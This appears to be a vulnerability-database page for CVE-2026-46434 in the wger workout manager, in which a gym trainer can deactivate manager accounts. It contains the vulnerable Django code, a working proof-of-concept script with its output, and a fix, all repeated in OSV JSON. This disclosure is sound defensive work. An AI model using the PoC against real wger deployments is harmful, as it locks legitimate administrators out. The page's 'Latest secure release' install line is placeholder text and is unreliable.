CVE-2026-46434: wger Trainer Privilege Escalation - Improper Vulnerability
HIGH
Advisory Identifier:
GHSA-x249-cx55-2h87
Advisory Summary
CVE-2026-46434 is a HIGH (CVSS 7.1) trainer privilege escalation - improper vulnerability (CWE-269: Improper Privilege Management) affecting wger libraries in the PyPI ecosystem. The issue involves trainer privilege escalation - improper privilege management. Remediation is available in the latest vendor maintenance releases.
CVE-2026-46434 at a Glance
CVE Identifier
CVE-2026-46434
GHSA Identifier
GHSA-x249-cx55-2h87
Severity
HIGH
CVSS v3.1 Base Score
7.1
CWE Classification
CWE-269: Improper Privilege Management
Affected Product
wger
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
Low (C:L)
Integrity
High (I:H)
Availability
None (A:N)
How to Fix CVE-2026-46434
To remediate this vulnerability, upgrade all affected wger dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
wger
fixed: Latest secure release
pip install wger>=Latest secure release
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show wgerHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-46434, inspect your installed packages using pip:
pip show wgerAnalyze the terminal output to locate any version of wger in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The pip show wger command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In wger, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
### Details
`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:
```python
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
```
`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:
```python
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
```
The `dispatch()` method only verifies same-gym membership:
```python
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
```
There is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415).
An additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `'trainer'` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
### PoC
#### Prerequisites
- A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker)
- Both users belong to the same gym
#### Attack Steps
```
# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
```
The manager's account is immediately set to `is_active = False`. The manager can no longer log in.
#### Proof of Concept Script
```python
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Setup via Django ORM (must run inside container) ----
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
Group.objects.get_or_create(name=name)
# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")
# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
username=MANAGER_USER,
defaults={"is_active": True}
)
if created:
manager.set_password(MANAGER_PASS)
manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f" Groups: {[g.name for g in manager.groups.all()]}")
print(f" is_active: {manager.is_active}")
# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
username=TRAINER_USER,
defaults={"is_active": True}
)
if created:
trainer.set_password(TRAINER_PASS)
trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f" Groups: {[g.name for g in trainer.groups.all()]}")
# ---- 1. Verify manager is active BEFORE attack ----
manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"
# ---- 2. ATTACK: Trainer deactivates manager ----
print(f"\n{'='*65}")
print(f" ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")
from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n GET /en/user/{manager.id}/deactivate")
print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f" Response: HTTP {resp.status_code}")
# ---- 3. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
manager.refresh_from_db()
print(f"\n Manager is_active AFTER attack: {manager.is_active}")
if not manager.is_active:
print("""
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| A gym_trainer successfully deactivated a gym_manager! |
| No privilege hierarchy check prevents this. |
| The trainer can now lock out all managers from the gym. |
+----------------------------------------------------------+
""")
manager.is_active = True
manager.save()
print(" [+] Cleanup: Manager re-activated")
else:
print("\n Manager is still active - NOT vulnerable")
```
#### Proof of Concept Output
```
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
Groups: ['gym_manager']
is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
Groups: ['gym_trainer']
[*] Manager is_active BEFORE attack: True
=================================================================
ATTACK: Trainer deactivating gym manager account
=================================================================
Trainer login: HTTP 200
GET http://localhost/en/user/4/deactivate
(Logged in as: evil_trainer_poc - gym_trainer only)
Response: HTTP 200
=================================================================
VERIFICATION
=================================================================
Manager is_active AFTER attack: False
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| A gym_trainer successfully deactivated a gym_manager! |
| No privilege hierarchy check prevents this. |
| The trainer can now lock out all managers from the gym. |
+----------------------------------------------------------+
[+] Cleanup: Manager re-activated
```
### Impact
1. **Gym Management Lockout:** A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
2. **Denial of Service:** Deactivated managers cannot log in, manage members, or perform any administrative tasks until a `general_gym_manager` (superadmin) or a Django superuser manually re-activates their accounts.
3. **Abuse Chain:** Since `get_permission_list()` always includes `'trainer'` in assignable roles, any manager can unknowingly create the account that will later lock them out.
### Fix
Add a privilege hierarchy check in `UserDeactivateView.dispatch()` and `UserActivateView.dispatch()`:
```python
# File: wger/core/views/user.py, inside dispatch() of both views
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.manage_gyms')
):
if (
edit_user.has_perm('gym.manage_gym')
or edit_user.has_perm('gym.manage_gyms')
or edit_user.has_perm('gym.gym_trainer')
):
return HttpResponseForbidden()
```
CVE-2026-46434 Affected wger Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wger
|
PyPI |
≤ 2.1
|
|
References
Frequently Asked Questions
What is CVE-2026-46434?
CVE-2026-46434 is a security vulnerability in wger involving Trainer Privilege Escalation - Improper Privilege Management under CWE-269: Improper Privilege Management.
Which wger versions are affected?
Affected versions include releases prior to current release patches across affected packages: wger.
What version fixes CVE-2026-46434?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wger affected?
Yes, wger is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-46434?
CVE-2026-46434 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-46434?
CVE-2026-46434 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check PyPI dependencies for CVE-2026-46434?
Run the dependency tree command: 'pip show wger'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-x249-cx55-2h87",
"modified" : "2026-10-07T13:59:14Z",
"published" : "2026-10-07T13:59:14Z",
"aliases" : [ "CVE-2026-46434" ],
"summary" : "wger: Trainer Privilege Escalation - Improper Privilege Management",
"details" : "### Summary\n\nA user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.\n\n### Details\n\n`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:\n\n```python\npermission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')\n```\n\n`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:\n\n```python\nclass WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):\n def has_permission(self):\n for permission in self.get_permission_required():\n if self.request.user.has_perm(permission):\n return True # <-- ANY one permission is enough\n return False\n```\n\nThe `dispatch()` method only verifies same-gym membership:\n\n```python\ndef dispatch(self, request, *args, **kwargs):\n edit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n if (\n request.user.has_perm('gym.manage_gym')\n or request.user.has_perm('gym.gym_trainer')\n ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:\n return HttpResponseForbidden()\n # NO check: is the target user more privileged than the requester?\n return super().dispatch(request, *args, **kwargs)\n```\n\nThere is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415).\n\nAn additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `'trainer'` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.\n\n### PoC\n\n#### Prerequisites\n\n- A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker)\n- Both users belong to the same gym\n\n#### Attack Steps\n\n```\n# As the trainer, simply visit:\nGET /en/user/<manager_user_id>/deactivate\n```\n\nThe manager's account is immediately set to `is_active = False`. The manager can no longer log in.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Trainer -> Manager Privilege Escalation (Account Deactivation)\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-269: Improper Privilege Management\n\nUsage:\n python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport re\n\nif len(sys.argv) < 2:\n print(f\"Usage: {sys.argv[0]} <BASE_URL>\")\n print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nMANAGER_USER = \"gym_manager_poc\"\nMANAGER_PASS = \"Manager!Poc!2025\"\nTRAINER_USER = \"evil_trainer_poc\"\nTRAINER_PASS = \"Trainer!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n PoC: Trainer -> Manager Privilege Escalation\n Severity: HIGH\n CWE-269: Improper Privilege Management\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n r = requests.post(f\"{API}/login/\", json={\n \"username\": username, \"password\": password\n })\n if r.status_code == 200:\n return r.json().get(\"token\")\n return None\n\ndef api_headers(token):\n return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- Setup via Django ORM (must run inside container) ----\n\nimport os, django\nos.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'\nsys.path.insert(0, '/home/wger/src')\ndjango.setup()\n\nfrom django.contrib.auth.models import User, Group\nfrom wger.gym.models import Gym\n\n# Ensure permission groups exist\nfor name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:\n Group.objects.get_or_create(name=name)\n\n# Create gym\ngym, _ = Gym.objects.get_or_create(name=\"PoC Test Gym\")\nprint(f\"[*] Gym: {gym.name} (id={gym.id})\")\n\n# Create manager (the VICTIM)\nmanager, created = User.objects.get_or_create(\n username=MANAGER_USER,\n defaults={\"is_active\": True}\n)\nif created:\n manager.set_password(MANAGER_PASS)\n manager.save()\nmanager.userprofile.gym = gym\nmanager.userprofile.save()\nmanager.groups.clear()\nmanager.groups.add(Group.objects.get(name='gym_manager'))\nmanager.is_active = True\nmanager.save()\nprint(f\"[*] Manager (victim): {manager.username} (id={manager.id})\")\nprint(f\" Groups: {[g.name for g in manager.groups.all()]}\")\nprint(f\" is_active: {manager.is_active}\")\n\n# Create trainer (the ATTACKER)\ntrainer, created = User.objects.get_or_create(\n username=TRAINER_USER,\n defaults={\"is_active\": True}\n)\nif created:\n trainer.set_password(TRAINER_PASS)\n trainer.save()\ntrainer.userprofile.gym = gym\ntrainer.userprofile.save()\ntrainer.groups.clear()\ntrainer.groups.add(Group.objects.get(name='gym_trainer'))\nprint(f\"[*] Trainer (attacker): {trainer.username} (id={trainer.id})\")\nprint(f\" Groups: {[g.name for g in trainer.groups.all()]}\")\n\n\n# ---- 1. Verify manager is active BEFORE attack ----\n\nmanager.refresh_from_db()\nprint(f\"\\n[*] Manager is_active BEFORE attack: {manager.is_active}\")\nassert manager.is_active, \"Manager should be active before test\"\n\n\n# ---- 2. ATTACK: Trainer deactivates manager ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\" ATTACK: Trainer deactivating gym manager account\")\nprint(f\"{'='*65}\")\n\nfrom django.test import Client\nc = Client()\nc.force_login(trainer)\nresp = c.get(f\"/en/user/{manager.id}/deactivate\", follow=True)\nprint(f\"\\n GET /en/user/{manager.id}/deactivate\")\nprint(f\" (Logged in as: {TRAINER_USER} - gym_trainer only)\")\nprint(f\" Response: HTTP {resp.status_code}\")\n\n\n# ---- 3. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\" VERIFICATION\")\nprint(f\"{'='*65}\")\n\nmanager.refresh_from_db()\nprint(f\"\\n Manager is_active AFTER attack: {manager.is_active}\")\n\nif not manager.is_active:\n print(\"\"\"\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | A gym_trainer successfully deactivated a gym_manager! |\n | No privilege hierarchy check prevents this. |\n | The trainer can now lock out all managers from the gym. |\n +----------------------------------------------------------+\n\"\"\")\n manager.is_active = True\n manager.save()\n print(\" [+] Cleanup: Manager re-activated\")\nelse:\n print(\"\\n Manager is still active - NOT vulnerable\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n PoC: Trainer -> Manager Privilege Escalation\n Severity: HIGH\n CWE-269: Improper Privilege Management\n=====================================================================\n\n[*] Gym: PoC Test Gym (id=2)\n[*] Manager (victim): gym_manager_poc (id=4)\n Groups: ['gym_manager']\n is_active: True\n[*] Trainer (attacker): evil_trainer_poc (id=5)\n Groups: ['gym_trainer']\n\n[*] Manager is_active BEFORE attack: True\n\n=================================================================\n ATTACK: Trainer deactivating gym manager account\n=================================================================\n\n Trainer login: HTTP 200\n GET http://localhost/en/user/4/deactivate\n (Logged in as: evil_trainer_poc - gym_trainer only)\n Response: HTTP 200\n\n=================================================================\n VERIFICATION\n=================================================================\n\n Manager is_active AFTER attack: False\n\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | A gym_trainer successfully deactivated a gym_manager! |\n | No privilege hierarchy check prevents this. |\n | The trainer can now lock out all managers from the gym. |\n +----------------------------------------------------------+\n\n [+] Cleanup: Manager re-activated\n```\n\n### Impact\n\n1. **Gym Management Lockout:** A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.\n2. **Denial of Service:** Deactivated managers cannot log in, manage members, or perform any administrative tasks until a `general_gym_manager` (superadmin) or a Django superuser manually re-activates their accounts.\n3. **Abuse Chain:** Since `get_permission_list()` always includes `'trainer'` in assignable roles, any manager can unknowingly create the account that will later lock them out.\n\n\n### Fix\n\nAdd a privilege hierarchy check in `UserDeactivateView.dispatch()` and `UserActivateView.dispatch()`:\n\n```python\n# File: wger/core/views/user.py, inside dispatch() of both views\n\nedit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n\n# Trainers must not deactivate/activate managers or other trainers\nif request.user.has_perm('gym.gym_trainer') and not (\n request.user.has_perm('gym.manage_gym')\n or request.user.has_perm('gym.manage_gyms')\n):\n if (\n edit_user.has_perm('gym.manage_gym')\n or edit_user.has_perm('gym.manage_gyms')\n or edit_user.has_perm('gym.gym_trainer')\n ):\n return HttpResponseForbidden()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "wger"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/wger-project/wger/security/advisories/GHSA-x249-cx55-2h87"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/wger-project/wger"
}, {
"type" : "WEB",
"url" : "https://github.com/wger-project/wger/releases/tag/2.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-269" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-07T13:59:14Z",
"nvd_published_at" : null
}
}